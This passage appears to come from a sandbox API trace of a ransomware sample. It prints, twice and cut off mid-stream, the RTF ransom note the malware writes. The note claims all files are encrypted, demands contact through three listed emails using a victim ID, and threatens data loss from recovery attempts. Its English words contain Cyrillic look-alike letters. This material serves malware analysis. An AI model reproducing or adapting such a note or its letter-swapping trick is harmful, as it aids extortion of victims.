r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 